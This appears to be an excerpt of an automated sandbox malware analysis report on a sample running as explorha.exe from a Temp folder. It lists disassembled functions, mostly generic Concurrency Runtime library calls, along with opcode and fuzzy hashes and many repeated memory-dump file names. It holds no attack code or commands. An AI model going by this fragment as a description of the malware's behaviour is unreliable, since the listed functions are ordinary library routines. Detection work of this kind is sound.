Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 0fca56d84980ce2ac1113296e7dd174235dce0ed3e5289d8678b192ae6007f34
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: 6DF0E571600A249EE620ABA88916FBA73D99F50354F00C49DF75FCB283CA24EC43CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00AF065D Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

Concurrency::critical_section::unlock.LIBCMT ref: 00AF0661

Part of subcall function 00AF0FF8: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 00AF1019
Part of subcall function 00AF0FF8: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 00AF1050
Part of subcall function 00AF0FF8: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 00AF105C

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00AF066D

Part of subcall function 00AF0A9F: Concurrency::critical_section::unlock.LIBCMT ref: 00AF0AC3

Concurrency::Context::Block.LIBCONCRT ref: 00AF0672

Part of subcall function 00AF19F6: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00AF19F8

Concurrency::critical_section::lock.LIBCONCRT ref: 00AF0692

Part of subcall function 00AF0F21: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00AF0F3C
Part of subcall function 00AF0F21: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 00AF0F47

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockNodeNode::Queue$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
String ID:
API String ID: 811866635-0
Opcode ID: 3e2f123fc65adea1bc966e26afd6df0857dd06aa85a20268f7b7a97b4f3eb7a4
Instruction ID: ab7270a4fd6e48eef262d61c4eff6151b8f11d3d05541985388359803a25d401
Opcode Fuzzy Hash: 3e2f123fc65adea1bc966e26afd6df0857dd06aa85a20268f7b7a97b4f3eb7a4
Instruction Fuzzy Hash: 64E04F34600209ABCB14FBB0C6A19BDBB61BF44350B144349F475472E2CF345E46CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00ADD3F0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 189COMMON

Download Yara Rule

Strings

(<j, xrefs: 00ADD6F7, 00ADD70A
list too long, xrefs: 00ADD8AD

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID:
String ID: (<j$list too long
API String ID: 0-3941217490
Opcode ID: ab2016237893008d6e79dac421560574ab3ec5232ac8973021335be7aa46c888
Instruction ID: eb0eaed19bbd0cbfd3daeee47ecc00d6bc62ec47f055a0bebaf599fb42fb0692
Opcode Fuzzy Hash: ab2016237893008d6e79dac421560574ab3ec5232ac8973021335be7aa46c888
Instruction Fuzzy Hash: DA61B1B0D047599BDB20DF24CD85B99B7F4EF05310F1041AAE90DAB391EB74AA85CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00B0F603 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe, xrefs: 00B0F608

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
API String ID: 0-3666169776
Opcode ID: 1720a81e5c719ad0502ba828a55430d9869dde8c4c92f0bdd8e03bb5baf10505
Instruction ID: ae2df03998d0a2aa3949c4cba709b329af673c594cf67bfd82170b327bb2db2e
Opcode Fuzzy Hash: 1720a81e5c719ad0502ba828a55430d9869dde8c4c92f0bdd8e03bb5baf10505
Instruction Fuzzy Hash: 8921837170410B6EDB306F658C80D777FDDEB413A471046B5F554D6AE1EB22EC5086A1

Uniqueness

Uniqueness Score: -1.00%

Function 00B02D91 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00B02DF1
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00B02E3C

Strings

pContext, xrefs: 00B02E34

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 224b3416b229b8acb30ae99089597aef66453f07e432a3bd77c8b122a2f39d54
Instruction ID: 841a346e6d3adf864d5dd3dfb9dbfc34b9da2a00f9281fc6083814bb4e143741
Opcode Fuzzy Hash: 224b3416b229b8acb30ae99089597aef66453f07e432a3bd77c8b122a2f39d54
Instruction Fuzzy Hash: B811D6356402149BCF15EF24C89956D7BE9EF44760B1540E5ED12A73D1DB34DD098BD0

Uniqueness

Uniqueness Score: -1.00%

Function 00AFCFBC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 00AFCFDE
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AFCFF1

Strings

pContext, xrefs: 00AFCFE9

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
